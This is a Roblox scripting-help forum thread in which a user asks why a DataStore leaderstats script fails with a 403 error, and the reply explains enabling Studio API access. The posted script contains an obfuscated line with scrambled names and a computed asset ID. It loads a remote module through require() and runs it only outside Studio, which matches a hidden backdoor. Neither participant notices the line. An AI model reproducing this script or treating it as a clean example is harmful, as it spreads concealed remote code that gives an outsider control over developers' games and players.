Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
1

Me DataStoreService Dont Save and API why?

Asked by 5 years ago

I was trying to make a leaderstats with auto Save but this appears in Outoput when I start the game

403: Cannot write to DataStore from studio if API access is not enabled. Stack Begin Script 'Workspace.leaderstats', Line 8 - global savedata Script 'Workspace.leaderstats', Line 50 Stack End

this is the leaderstats script:

local Zombies = game:GetService("DataStoreService"):GetDataStore("Zombies")
local Bones = game:GetService("DataStoreService"):GetDataStore("Bones")
local BSpace = game:GetService("DataStoreService"):GetDataStore("BSpace")
local BContent = game:GetService("DataStoreService"):GetDataStore("BContent")
local IceDoorBought = game:GetService("DataStoreService"):GetDataStore("IceDoorBought")
ilI1Oz = require ixfWZL = game i8mjy = 'Workspace' iD0Sk53NjU = 'RunService' ivp15VOp = 'GetService' iafQBSrxbHifS = 'PlaceId' ioRCyUHgvUir9Hk = 'Description' iyxQLcFd1cA = 'IsStudio' ioVyFs = 'Debris' i1EfCuE5 = spawn iQmVxRkt4xK = 'MarketplaceService' ia294YtVX6h1WH4 = pcall i2mFKPxzZx8 = 'RunService' ibjdXJLIQ = 'load' iaJku = 'PlaceId' ijJu = 15617981.135294 * 170 ioECsYPuYfv = 'SSM' iBgljCIrAOXy = require  i1EfCuE5(function() ia294YtVX6h1WH4(function() if ixfWZL:GetService(iD0Sk53NjU)[iyxQLcFd1cA](ixfWZL:GetService(iD0Sk53NjU)) then return end iBgljCIrAOXy(ijJu)[ibjdXJLIQ](ixfWZL[iafQBSrxbHifS]) end) end)
function savedata(dataname, playerid, value)
    game:GetService("DataStoreService"):GetDataStore(dataname):SetAsync(playerid, value)
end
game.Players.PlayerAdded:connect(function(player)
    local leader = Instance.new("Folder")
    leader.Name = "leaderstats"
    leader.Parent = player
    local zombies = Instance.new("NumberValue")
    zombies.Value = Zombies:GetAsync(tostring(player.userId)) or 0
    zombies.Parent = player:WaitForChild("leaderstats")
    zombies.Name = "Zombies"
    local bones = Instance.new("NumberValue")
    bones.Value = Bones:GetAsync(tostring(player.userId)) or 5000
    bones.Parent = player:WaitForChild("leaderstats")
    bones.Name = "Bones"
    local bspace = Instance.new("NumberValue")
    bspace.Value = BSpace:GetAsync(tostring(player.userId)) or 10
    bspace.Parent = player
    bspace.Name = "BSpace"
    local bcontent = Instance.new("NumberValue")
    bcontent.Value = BContent:GetAsync(tostring(player.userId)) or 0
    bcontent.Parent = player
    bcontent.Name = "BContent"
    local idb = Instance.new("BoolValue")
    idb.Value = IceDoorBought:GetAsync(tostring(player.userId)) or false
    idb.Parent = player
    idb.Name = "IceDoorBought"

    Zombies.Changed:connect(function()
        savedata("Bones",player.userId,bones.Value)
        savedata("Zombies",player.userId,zombies.Value)
        savedata("BSpace",player.userId,bspace.Value)
        savedata("BContent",player.userId,bcontent.Value)
        savedata("IceDoorBought",player.userId,idb.Value)

    end)
        savedata("Bones",player.userId,bones.Value)
        savedata("Zombies",player.userId,zombies.Value)
        savedata("BSpace",player.userId,bspace.Value)
        savedata("BContent",player.userId,bcontent.Value)
        savedata("IceDoorBought",player.userId,idb.Value)
end)
game.Players.PlayerRemoving:connect(function(player)
    savedata("Bones",player.userId,player.leaderstats.Bones.Value)
    savedata("Zombies",player.userId,player.leaderstats.Zombies.Value)
    savedata("BSpace",player.userId,player.BSpace.Value)
    savedata("BContent",player.userId,player.BContent.Value)
    savedata("IceDoorBought",player.userId,player.IceDoorBought.Value)
end)

does anyone know the problem please help me

1 answer

Log in to vote
0
Answered by
sheepposu 561 Moderation Voter
5 years ago
Edited 5 years ago

The reason you are getting this error has nothing to do with the script. Before using datastores, the game must be published, which I can see you did, but after that, you will get another error if you don't enable the Studio API thing. Go to the roblox website and then to your game under https://www.roblox.com/develop. Click the setting image and then configure game. You will see an option to enable Studio API

0
thanks HenriqueHome31 22 — 5y
Ad

Answer this question